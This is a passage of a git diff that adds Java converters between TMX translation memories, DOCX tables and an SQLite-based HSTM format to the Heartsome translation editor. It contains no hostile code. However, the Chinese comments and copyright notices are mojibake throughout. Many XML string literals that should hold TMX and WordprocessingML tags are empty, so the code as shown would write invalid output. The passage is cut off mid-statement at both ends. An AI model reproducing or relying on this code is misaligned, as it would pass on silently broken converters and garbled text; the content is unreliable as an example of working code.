(!appendFileSrcLang.equalsIgnoreCase("*all*")) { + if (!appendFileSrcLang.equalsIgnoreCase(bean.srcLangCode)) { + Exception e = new Exception(Messages.getString("converter.common.appendtmx.diffsrcLang.error")); + LOGGER.error(e.getMessage(), e); + throw e; + } + } + try { + FileOutputStream fos = new FileOutputStream(new File(bean.appendExistTmxFilePath), true); + bos = new BufferedOutputStream(fos); + FileChannel fc = fos.getChannel(); + fc.truncate(appendOffset); + } catch (IOException e) { + LOGGER.error(e.getMessage(), e); + throw e; + } + AutoPilot tmpAp = new AutoPilot(vn); + tmpAp.declareXPathNameSpace("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main"); + tmpAp.selectXPath("count(/w:document/w:body/w:tbl/w:tr)"); + double total = tmpAp.evalXPathToNumber() - 1; + int worked = 0; + int count = 0; + int tmp = 0; + + String tuContent; + while (ap.evalXPath() != -1) { + if (monitor.isCanceled()) { + return; + } + tuContent = getTuFromTr(bean, vn); + if (tuContent != null) { + bos.write(tuContent.getBytes()); + bos.write('\r'); + bos.write('\n'); + } + tmp = (int) ((count++ / total) * 100); + if (tmp > worked) { + subMonitor.worked(tmp - worked); + worked = tmp; + } + } + bos.write("".getBytes()); + bos.flush(); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } finally { + try { + if (bos != null) { + bos.close(); + } + } catch (IOException e) { + e.printStackTrace(); + } + } + } + + /** + * 获å–æºè¯­è¨€ï¼Œè®¡ç®— tmx 文档的 æœ€åŽ tu çš„å移,以便附加新内容 + * @param file + * @return + */ + private String getSrclangAndTuOffset(String file) throws Exception { + // 检测追加文件的æºè¯­è¨€ + String appendFileSrcLang = ""; + VTDGen vg = new VTDGen(); + if (!vg.parseFile(file, true)) { + Exception e = new Exception(Messages.getString("converter.common.appendtmx.wrongTmx")); + LOGGER.error(e.getMessage(), e); + throw e; + } + try { + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/tmx/header/@srclang"); + if (ap.evalXPath() != -1) { + appendFileSrcLang = vn.toString(vn.getCurrentIndex() + 1); + } else { + LOGGER.error(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileContentError")); + } + ap.resetXPath(); + ap.selectXPath("/tmx/body/tu[last()]"); + if (ap.evalXPath() != -1) { + long l = vn.getElementFragment(); + int offset = (int) l; + int length = (int) (l >> 32); + appendOffset = offset + length; + } + + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + throw e; + } + return appendFileSrcLang; + } + + /** + * è§£æž docx 中的æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€ï¼Œå°†å…¶å­˜å…¥ bean 中 + * @param bean + * @param vn + */ + private void getLangs(File2TmxConvertBean bean, VTDNav vn) throws Exception { + vn.push(); + int testLangFlag = 0; + + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("w", ns_w); + try { + ap.selectXPath("./w:tc"); + if (ap.evalXPath() != -1) { + bean.srcLangCode = getTcPlainText(vn).trim(); + testLangFlag++; + } + while (ap.evalXPath() != -1) { + String lang = getTcPlainText(vn).trim(); + langs.add(lang); + testLangFlag++; + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + throw e; + } finally { + vn.pop(); + } + if (testLangFlag < 2) { + Exception e = new Exception(Messages.getString("converter.docx2tmx.docx.invaild")); + LOGGER.info(e.getMessage()); + throw e; + } + } + + /** + * æ ¹æ®è¡¨æ ¼è¡Œï¼ˆå…¶ä¸­ï¼šç¬¬ä¸€åˆ—为æºè¯­è¨€ï¼Œç¬¬äºŒåˆ—ä¸ºç›®æ ‡è¯­è¨€ï¼‰ç”Ÿæˆ tu code
    + * 请注æ„,此方法åªèƒ½ç”ŸæˆåŒè¯­è¨€ tmx 文件,ä¸èƒ½ç”Ÿæˆå¤šè¯­è¨€ tmx + * @param bean + * @return + * @throws Exception + */ + private String getTuFromTr(File2TmxConvertBean bean, VTDNav vn) throws Exception { + vn.push(); + StringBuilder builder = new StringBuilder(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("w", ns_w); + try { + ap.selectXPath("./w:tc"); + + builder.append("\n"); + addTuPropNode(builder, bean.customeAttr); + // should we check the source is empty? + if (ap.evalXPath() != -1) { + builder.append("\n"); + builder.append("").append(getTcPlainText(vn)).append("\n"); + builder.append("\n"); + } + int index = 0; + while (ap.evalXPath() != -1 && index < langs.size()) { + builder.append("\n"); + builder.append("").append(getTcPlainText(vn)).append("\n"); + builder.append("\n"); + index++; + } + builder.append("\n"); + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + throw e; + } finally { + vn.pop(); + } + return builder.toString(); + } + + /** + * 获å–å•å…ƒæ ¼ï¼ˆtc 节点)中的的纯文本内容(tc 中纯文本内容由<w:t>包裹)
    + * 请注æ„,vn 必须已导航至 tc节点下 + * @return + * @throws NavException + */ + private String getTcPlainText(VTDNav vn4documentXml) throws Exception { + vn4documentXml.push(); + StringBuilder builder = new StringBuilder(); + AutoPilot ap = new AutoPilot(vn4documentXml); + ap.declareXPathNameSpace("w", ns_w); + try { + ap.selectXPath(".//w:t/text()"); + while (ap.evalXPath() != -1) { + builder.append(vn4documentXml.toRawString(vn4documentXml.getCurrentIndex())); + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + throw e; + } + vn4documentXml.pop(); + return builder.toString(); + } + + /** + * 添加自定义属性 + * @param builder + * @param map + */ + private void addTuPropNode(StringBuilder builder, Map map) { + if (map == null || map.size() == 0) { + return; + } + for (Entry entry : map.entrySet()) { + builder.append("").append(entry.getValue()) + .append("\n"); + } + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/docx/Tmx2Docx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/docx/Tmx2Docx.java new file mode 100644 index 0000000..43c6d16 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/docx/Tmx2Docx.java @@ -0,0 +1,506 @@ +/** + * Tmx2Docx.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter.docx; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.FileWriter; +import java.io.IOException; +import java.net.URL; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; +import java.util.zip.ZipOutputStream; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.document.TmxReader; +import net.heartsome.cat.document.TmxReaderEvent; +import net.heartsome.cat.te.core.Activator; +import net.heartsome.cat.te.core.converter.AbstractTmx2File; +import net.heartsome.cat.te.core.resource.Messages; + +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.osgi.framework.Bundle; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +public class Tmx2Docx extends AbstractTmx2File { + + public static final String NAME = "docx"; + public static Logger LOGGER = LoggerFactory.getLogger(Tmx2Docx.class.getName()); + + private String template = ""; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.converter.AbstractTmx2File#doCovnerter(java.lang.String, java.io.File) + */ + public void doCovnerter(String tmxFile, File targetFile, IProgressMonitor monitor) throws Exception { + + // 1.è§£æž tmx + monitor.beginTask(Messages.getString("converter.common.monitor.info.start"), 100); + monitor.setTaskName(Messages.getString("converter.common.monitor.info.start")); + monitor.worked(1); + tmxReader = new TmxReader(new File(tmxFile)); + + if (monitor.isCanceled()) { + return; + } + + monitor.worked(8);// done 1 + + // 2. åŠ è½½æ¨¡æ¿ + monitor.setTaskName(Messages.getString("converter.common.monitor.info.docx.loadtemplate")); + template = ""; + DocumentXml document = null; + try { + Bundle bundle = Platform.getBundle(Activator.PLUGIN_ID); + URL url = bundle.getEntry("res/template.docx"); + template = FileLocator.toFileURL(url).getPath(); + document = new DocumentXml(template);// 读å–æ¨¡æ¿ document.xml + } catch (IOException e) { + LOGGER.error(Messages.getString("converter.tmx2docx.template.notfound"), e); + throw new Exception(Messages.getString("converter.tmx2docx.template.notfound")); + } + monitor.worked(1);// done 2 + + List langs = tmxReader.getLangs();// 获å–语言 + DocxTable table = new DocxTable(langs, document); + + // 3. å¤„ç† tmx 内容 + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 90); + // 计算步长 + double total = tmxReader.getTotalTu(); + subMonitor.beginTask("", 100); + subMonitor.setTaskName(Messages.getString("converter.common.monitor.info.readtmx")); + + TmxReaderEvent event = null; + double count = 0; + int worked = 0; + int tmp = 0; + loop: while (true) { + if (monitor.isCanceled()) { + return; + } + event = tmxReader.read(); + switch (event.getState()) { + case TmxReaderEvent.END_FILE: + break loop; + case TmxReaderEvent.NORMAL_READ: + table.newRow(event.getTu()); + break; + default: + continue; + } + tmp = (int) ((count++ / total) * 100); + if (worked < tmp) { + subMonitor.worked(tmp - worked); + worked = tmp; + } + } + table.close(); + + File documentFile = document.save(); + + StyleXml style = new StyleXml(template); + style.createTableStyle("a3"); + File stylesFile = style.save(); + subMonitor.done();// done 3 + + // 4.ä¿å­˜ + monitor.setTaskName(Messages.getString("converter.common.monitor.info.saving")); + Map map = new HashMap(); + map.put("word/document.xml", documentFile); + map.put("word/styles.xml", stylesFile); + // ä¿å­˜æ–‡ä»¶æ—¶ï¼Œæ–‡ä»¶å¯èƒ½æ— æ³•è¯»å†™ï¼Œæ¯”如其他进程å ç”¨ + try { + replaceZipEntry(template, targetFile, map); + } catch (Exception e) { + LOGGER.error("ä¿å­˜æ–‡ä»¶æ—¶ï¼Œæ–‡ä»¶å¯èƒ½æ— æ³•è¯»å†™ï¼Œæ¯”如其他进程å ç”¨", e); + throw e; + } + monitor.worked(1);// done 4 + + monitor.done(); + } + + /** + * è¯»å– docx çš„ document.xml + * @author austen + */ + class DocumentXml { + private String documentxmlTail = null; + + // 使用 VTD æ“作document.xml + private VTDNav vn; + private AutoPilot ap; + + // 修改的 document.xml 文件存储到临时文件 + private File tmpFile; + private BufferedWriter tmpFileWriter; + + /** + * å°† docx 模æ¿ä¸­çš„ document.xml,å¤åˆ¶åˆ°ä¸´æ—¶æ–‡ä»¶ä¸­
    + * 注æ„
    + *

  • 为了防止对模æ¿æ–‡ä»¶çš„æŸå,所有的æ“作都是在临时文件中进行的
  • 并ä¸æ˜¯å°† document.xml 里的所有内容都å¤åˆ¶åˆ°ä¸´æ—¶æ–‡ä»¶ä¸­ï¼Œåªå¤åˆ¶åˆ°<w:body>
  • + * @param template + */ + protected DocumentXml(String template) throws Exception { + try { + tmpFile = File.createTempFile("document", "xml"); + tmpFileWriter = new BufferedWriter(new FileWriter(tmpFile)); + } catch (IOException e) { + LOGGER.error("无法创建临时文件", e); + e.printStackTrace(); + } + + VTDGen vg = new VTDGen(); + if (!vg.parseZIPFile(template, "word/document.xml", true)) { + LOGGER.error(Messages.getString("converter.tmx2docx.template.notfound")); + throw new Exception(Messages.getString("converter.tmx2docx.template.notfound")); + } + vn = vg.getNav(); + ap = new AutoPilot(vn); + ap.declareXPathNameSpace("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main"); + try { + ap.selectXPath("/w:document/w:body"); + if (ap.evalXPath() != -1) { + int offset = vn.getTokenOffset(vn.getCurrentIndex()); + tmpFileWriter.write(vn.toRawString(0, offset - 1));// document 头 + tmpFileWriter.write("");// 所有内容都应存放在 body 节点下 + } + long l = vn.getElementFragment(); + documentxmlTail = vn.toRawString((int) l, (int) (l >> 32)).replaceFirst("", ""); + } catch (Exception e) { + LOGGER.error(Messages.getString("converter.tmx2docx.template.notfound"), e); + throw new Exception(Messages.getString("converter.tmx2docx.template.notfound")); + } + + } + + /** + * æ ¹æ®æŒ‡å®š xpathï¼Œå‘ document.xml 中写入内容,内容存放至 body 节点 + * @param content + * e.g.<w:tbl><w:tr></w:tr></w: tbl> + * @param xpath + */ + protected DocumentXml write(String content) { + try { + tmpFileWriter.write(content); + } catch (Exception e) { + LOGGER.error("内部错误", e); + e.printStackTrace(); + } + return this; + } + + /** + * ä¿å­˜æ­¤ document.xml 文件 + * @return ä¿å­˜çš„文件 + */ + protected File save() { + try { + tmpFileWriter.write(documentxmlTail); + tmpFileWriter.write("");// 关闭document + tmpFileWriter.flush(); + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (tmpFileWriter != null) { + try { + tmpFileWriter.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + return tmpFile; + } + } + + /** + * 表格 + * @author austen + */ + class DocxTable { + + private String firstColumnWidth;// 第一列宽 + private String langColumnWidth;// å¹³å‡è¯­è¨€åˆ—宽度 + + private List langList;// 所有语言代ç ï¼Œç”¨ä½œè¡¨å¤´ + private DocumentXml document; + private int firstColumnIndex = 0;// 如果目标语言是 *all* + + // 临时存储 + private Map segmap = new HashMap(); + + protected DocxTable(List langList, DocumentXml document) { + this.langList = langList; + this.document = document; + if (langList.get(0).equalsIgnoreCase("*all*")) { + firstColumnIndex = 1; + int avg = 8522 / (langList.size() - 1); + langColumnWidth = String.valueOf(avg); + firstColumnWidth = String.valueOf(avg + 8522 % langList.size()); + } else { + int avg = 8522 / langList.size(); + langColumnWidth = String.valueOf(avg); + firstColumnWidth = String.valueOf(avg + 8522 % langList.size()); + } + + // 写表头 + String tablecode = "" + + "" + + "" + + ""; + document.write(tablecode); + document.write(""); + + String styledCode = ""; + TableColumn firstColumn = new TableColumn(document); + firstColumn.setLayout(firstColumnWidth, "dxa"); + firstColumn.setStyleText(new StyleText(styledCode, langList.get(firstColumnIndex))); + firstColumn.close(); + for (int i = firstColumnIndex + 1; i < langList.size(); i++) { + TableColumn column = new TableColumn(document); + column.setLayout(langColumnWidth, "dxa"); + column.setStyleText(new StyleText(styledCode, langList.get(i))); + column.close(); + } + document.write(""); + } + + public void close() { + document.write(""); + } + + protected void newRow(TmxTU tu) { + segmap.clear(); + if (tu.getSource() != null && firstColumnIndex < 1) {// not *all* + segmap.put(langList.get(0).toLowerCase(), tu.getSource()); + } + if (tu.getSegments() != null) { + for (TmxSegement seg : tu.getSegments()) { + segmap.put(seg.getLangCode().toLowerCase(), seg); + } + } + document.write("");// 打开行 + + String langCode = null; + // 第一行å¯èƒ½å®½åº¦ç•¥å¤§ + langCode = langList.get(firstColumnIndex).toLowerCase(); + TableColumn firstColumn = new TableColumn(document); + firstColumn.setLayout(firstColumnWidth, "dxa"); + firstColumn.setStyleText(new StyleText(null, segmap.containsKey(langCode) ? segmap.get(langCode) + .getPureText() : "")); + firstColumn.close(); + for (int i = firstColumnIndex + 1; i < langList.size(); i++) {// 语言列 + langCode = langList.get(i).toLowerCase(); + TableColumn column = new TableColumn(document); + column.setLayout(langColumnWidth, "dxa"); + column.setStyleText(new StyleText(null, segmap.containsKey(langCode) ? segmap.get(langCode) + .getPureText() : "")); + column.close(); + } + document.write("\n");// 关闭行 + } + } + + class TableColumn { + + private DocumentXml document; + + TableColumn(DocumentXml document) { + this.document = document; + document.write(""); + } + + // 请扩展 + void setLayout(String width, String type) { + document.write("").write("").write(""); + document.write(""); + } + + void setStyleText(StyleText st) { + document.write(st.toString()); + } + + void close() { + document.write("").write(""); + } + } + + /** + * 带有样å¼çš„文本 + */ + class StyleText { + private String text; + private String styleCode; + + StyleText() { + } + + StyleText(String styleCode, String text) { + this.text = text; + this.styleCode = styleCode; + } + + public void setText(String text) { + this.text = text; + } + + public void setStyleCode(String styleCode) { + this.styleCode = styleCode; + } + + public String toString() { + StringBuilder builder = new StringBuilder(); + builder.append("").append(styleCode == null ? "" : styleCode).append("") + .append(text == null ? "" : text).append("").append(""); + return builder.toString(); + } + } + + /** + * æ ·å¼æ–‡æ¡£ + * @author austen + */ + class StyleXml { + + VTDNav vn = null; + AutoPilot ap = null; + XMLModifier xm = null; + + public StyleXml(String template) throws Exception { + VTDGen vg = new VTDGen(); + vg.parseZIPFile(template, "word/styles.xml", true); + vn = vg.getNav(); + ap = new AutoPilot(vn); + ap.declareXPathNameSpace("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main"); + try { + xm = new XMLModifier(vn); + } catch (ModifyException e) { + Exception e1 = new Exception(Messages.getString("converter.tmx2docx.template.notfound")); + throw e1; + } + } + + /** + * ä¸ºè¡¨æ ¼è¿½åŠ æ ·å¼ + * @param styleId + * æ ·å¼ ID + */ + void createTableStyle(String styleId) { + String style = new StringBuilder() + .append("") + .toString(); + try { + ap.selectXPath("/w:styles"); + ap.evalXPath(); + xm.insertBeforeTail(style); + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * 获å–存储的临时文件 + * @return + */ + protected File save() { + File tmpFile = null; + try { + tmpFile = File.createTempFile("styles", "xml"); + xm.output(tmpFile.getAbsolutePath()); + } catch (Exception e) { + e.printStackTrace(); + } + return tmpFile; + } + } + + /** + * zip 文件替æ¢æ–¹æ³• + * @param zipFilePath + * zip文件路径 + * @param savePath + * å¦å­˜è·¯å¾„为... + * @param replaceMap + * 替æ¢æ–‡ä»¶è¡¨ï¼Œkey 存放替æ¢è·¯å¾„,value 存放替æ¢çš„文件 + */ + protected void replaceZipEntry(String zipFilePath, File saveFile, Map replaceMap) throws Exception { + + int buff_size = 1024; + byte[] b = new byte[buff_size]; + ZipInputStream zis = null; + ZipOutputStream zos = null; + try { + zis = new ZipInputStream(new BufferedInputStream(new FileInputStream(new File(zipFilePath)), buff_size)); + zos = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveFile), buff_size)); + ZipEntry entry = null; + int count = -1; + while ((entry = zis.getNextEntry()) != null) { + ZipEntry outEntry = new ZipEntry(entry.getName()); + zos.putNextEntry(outEntry); + if (replaceMap.containsKey(entry.getName())) { + BufferedInputStream bis = new BufferedInputStream(new FileInputStream(replaceMap.get(entry + .getName())), buff_size); + while ((count = bis.read(b, 0, buff_size)) != -1) { + zos.write(b, 0, count); + } + } else { + while ((count = zis.read(b, 0, buff_size)) != -1) { + zos.write(b, 0, count); + } + } + zos.closeEntry(); + zis.closeEntry(); + } + zos.flush(); + } catch (FileNotFoundException e) { + throw e; + } catch (IOException e) { + throw e; + } finally { + try { + if (zis != null) + zis.close(); + if (zos != null) + zos.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/hstm/Hstm2Tmx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/hstm/Hstm2Tmx.java new file mode 100644 index 0000000..7ab37b6 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/hstm/Hstm2Tmx.java @@ -0,0 +1,223 @@ +/** + * Hstm2Tmx.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.converter.hstm; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.TMXDBOperatorFacade; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.te.core.bean.File2TmxConvertBean; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.core.converter.tbx.AbstractWriter; +import net.heartsome.cat.te.core.converter.tbx.AppendTmxWriter; +import net.heartsome.cat.te.core.converter.tbx.Model2String; +import net.heartsome.cat.te.core.converter.tbx.TmxWriter; +import net.heartsome.cat.te.core.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class Hstm2Tmx extends net.heartsome.cat.te.core.converter.AbstractFile2Tmx { + /** + * 记录日志 + */ + private static final Logger LOGGER = LoggerFactory.getLogger(Hstm2Tmx.class); + + private final int cache_size = 500; + + private List cache = new ArrayList(30); + + private String attributeString; + + private List tuIds; + + private TMXDBOperatorFacade facade; + + private List languages; + + public void doCovnerter(File2TmxConvertBean file2TmxBean, IProgressMonitor monitor) throws Exception { + + DBOperator operater = getHstmOperator(file2TmxBean); + + facade = new TMXDBOperatorFacade(operater); + + attributeString = Model2String.getCustomArributeXML(file2TmxBean.customeAttr); + + try { + facade.start(); + } catch (Exception e) { + throw new Exception(Messages.getString("converter.hstm2tmx.error1")); + } + tuIds = operater.getAfterFilterTuPk(null, null, null); + int totalTask = tuIds.size() / cache_size; + monitor.beginTask("", totalTask == 0 ? 1 : totalTask); + + languages = operater.getLanguages(); + + if (tuIds == null || tuIds.isEmpty()) { + throw new Exception(Messages.getString("converter.hstm2tmx.error2")); + } + + AbstractWriter writer = getWriter(file2TmxBean); + if (writer instanceof TmxWriter) { + TmxWriter tmxWriter = (TmxWriter) writer; + tmxWriter.setAttibuteString(attributeString); + } + writeNewTmx(writer, monitor); + + } + + /** + * 将缓存内容写入到 文件中,并且清空缓存内容 + * @param cache + * @param tmxWriter + * ; + */ + private void writeTmxTU(List cache, AbstractWriter tmxWriter) { + if (cache.isEmpty()) { + return; + } + tmxWriter.writeBody(cache); + cache.clear(); + } + + /** + * 将所有内容写在文件中 + * @param path + * :文件路径 + * @param tmxWriter + * :写入文件的Writer + * @return ; + * @throws Exception + */ + public boolean writeNewTmx(AbstractWriter tmxWriter, IProgressMonitor monitor) throws Exception { + if (null == tmxWriter) { + return false; + } + try { + String xmlDecl = TmxTemplet.genertateTmxXmlDeclar(); + tmxWriter.writeXmlString(xmlDecl); + TmxHeader header = TmxTemplet.generateTmxHeader(languages.get(0), "unknown", "sentence", + "Heartsome File-based TM", null, null, null); + tmxWriter.writeXmlString("\n"); + tmxWriter.writeHeader(TmxTemplet.header2Xml(header)); + tmxWriter.writeXmlString("\n"); + for (int tuId : tuIds) { + TmxTU dbTu = facade.getTuByIdentifierAllLang(tuId, true); + if (cache.size() != cache_size) { + cache.add(dbTu); + continue; + } + if (monitor.isCanceled()) { + return false; + } + writeTmxTU(cache, tmxWriter); + monitor.worked(1); + } + if (monitor.isCanceled()) { + return false; + } + writeTmxTU(cache, tmxWriter); + return true; + } catch (Exception e) { + LOGGER.error(Messages.getString("converter.hstm2tmx.error3"), e); + throw new Exception(Messages.getString("converter.hstm2tmx.error3")); + } finally { + monitor.done(); + tmxWriter.writeEnd(); + tmxWriter.closeOutStream(); + facade.end(); + } + } + + public DBOperator getHstmOperator(File2TmxConvertBean file2TmxBean) { + MetaData metaData = new MetaData(); + metaData.setDbType(Constants.DBTYPE_SQLITE); + File hstmFile = new File(file2TmxBean.sourceFilePath); + metaData.setDataPath(hstmFile.getParent()); + metaData.setDatabaseName(hstmFile.getName()); + return DatabaseService.getDBOperator(metaData); + } + + /** + * 获å–正确的Writer + * @param file2TmxBean + * @return ; + * @throws Exception + */ + public AbstractWriter getWriter(File2TmxConvertBean file2TmxBean) throws Exception { + AbstractWriter tmxWriter = null; + if (file2TmxBean.newTmxFilePath != null && !file2TmxBean.newTmxFilePath.isEmpty()) { + File file = new File(file2TmxBean.newTmxFilePath); + if (!file.exists()) { + try { + file.createNewFile(); + } catch (IOException e) { + LOGGER.error("", e); + } + } + try { + tmxWriter = new TmxWriter(file2TmxBean.newTmxFilePath); + } catch (FileNotFoundException e) { + LOGGER.error("", e); + + } + } else if (file2TmxBean.appendExistTmxFilePath != null && !file2TmxBean.appendExistTmxFilePath.isEmpty()) { + try { + AppendTmxWriter tmxAppendWriter = new AppendTmxWriter(file2TmxBean.appendExistTmxFilePath); + if (hasLang(tmxAppendWriter)) { + tmxAppendWriter.startAppend(); + tmxWriter = tmxAppendWriter; + } else { + throw new Exception("DIFF-SRC-LANG"); + } + } catch (FileNotFoundException e) { + LOGGER.error("", e); + } catch (Exception e) { + LOGGER.error("", e); + if ("DIFF-SRC-LANG".equals(e.getMessage())) { + throw new Exception(Messages.getString("converter.hstm2tmx.error4")); + } + throw new Exception(Messages.getString("converter.common.appendtmx.wrongTmx")); + } + + } + return tmxWriter; + } + + /** + * æ•°æ®åº“中是å¦æœ‰tmx文件中的æºè¯­è¨€ + * @param tmxAppendWriter + * @return ; + */ + private boolean hasLang(AppendTmxWriter tmxAppendWriter) { + String tmxLang = tmxAppendWriter.getSrcLang(); + for (String lang : languages) { + if (lang.equalsIgnoreCase(tmxLang)) { + return true; + } + } + return false; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/hstm/Tmx2Hstm.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/hstm/Tmx2Hstm.java new file mode 100644 index 0000000..9ae68ad --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/hstm/Tmx2Hstm.java @@ -0,0 +1,197 @@ +/** + * Tmx2Hstm.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.converter.hstm; + +import java.io.File; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.TMXDBOperatorFacade; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.document.TmxReadException; +import net.heartsome.cat.document.TmxReader; +import net.heartsome.cat.te.core.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class Tmx2Hstm extends net.heartsome.cat.te.core.converter.AbstractTmx2File { + + private static final Logger LOGGER = LoggerFactory.getLogger(Tmx2Hstm.class); + + public final static String NAME = "hstm"; + + public String hsTmFilePath; + + private TMXDBOperatorFacade facade; + + private List cache = new ArrayList(SIZE); + + private static final int SIZE = 500; + + private boolean flushAttr = false; + + @SuppressWarnings("unused") + private void initHstm() { + + } + + public void intDbOperator() { + + } + + public void doImportTmx(DBOperator dbOp, String txmFile) { + + } + + public void doCovnerter(String tmxFile, File targetFile,IProgressMonitor monitor) throws Exception { + MetaData metaData = new MetaData(); + metaData.setDbType(Constants.DBTYPE_SQLITE); + metaData.setDataPath(targetFile.getParent()); + metaData.setDatabaseName(targetFile.getName()); + DBOperator dbOperator = getHstmDbOperator(metaData); + facade = new TMXDBOperatorFacade(dbOperator); + try { + try { + facade.start(); + } catch (SQLException e) { + throw new Exception(Messages.getString("converter.tmx2hstm.error1")); + } catch (ClassNotFoundException e) { + throw new 